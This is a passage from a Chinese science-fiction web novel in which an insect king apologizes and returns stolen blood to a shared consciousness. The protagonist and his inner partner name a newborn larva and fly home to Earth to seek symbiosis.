『他用自己的命,把你们的忏悔带了回来。现在,你们要不要……亲口对他说一声对不起?』 【醒来】 第一个醒来的,是虫王的本体。 它从源血池中升起,没有庞大的肉球形态,而是一个瘦小的、银灰色的幼虫,触角低垂,翅膀残破。 它看着谢迟衍,看着他的左眼(自己的颜色),看着他的右眼(瑟摩迦的颜色),发出一声极轻的、像哭泣的精神波动: 『对不起。』 然后,它解体了。 化作无数光点,融入谢迟衍的意识海。 归还它盗取的、属于瑟摩迦的本源血。 一滴、两滴、三滴……金色的血在意识海里汇聚,流向那个枯萎的角落。 苔藓开始发芽。 谢迟衍醒来时,发现自己躺在飞船的休眠舱里。 右半边身体有了知觉,手指能动,尾巴在轻轻摆动。 他睁开眼——两只都是金蓝色。 瑟摩迦的意识在意识海里伸了个懒腰,声音懒洋洋的: 『睡得真舒服。你什么时候学会哄幼虫睡觉了?』 谢迟衍没回答,只是抬起手,看着掌心。 那里站着一只小小的、银灰色的幼虫,触角轻轻蹭着他的皮肤。 那是新生的虫王,也是瑟摩迦的一部分,更是……他们的孩子。 不是生物学上的,是双生人这种存在,在母星本源的影响下,自然衍生的『第三意识』。 『它叫什么?』瑟摩迦问。 『归墟。』谢迟衍说,『船的名字,也是它的名字。』 『真难听。』 『那你取。』 瑟摩迦沉默片刻,在意识海里说: 『叫它……迟迦。』 迟,是谢迟衍的迟。迦,是瑟摩迦的迦。 是他们在这个废墟上,用血与毒、清醒与疯狂,写下的……第三个名字。 谢迟衍笑了,左半边脸和右半边脸,第一次同步地、完整地、毫无裂痕地笑了。 飞船启动,返航地球。 但不再是掠夺,不再是逃难。 是带着母星的忏悔,带着新生的可能,带着两个灵魂缝合出的未来,去寻找…… 共生。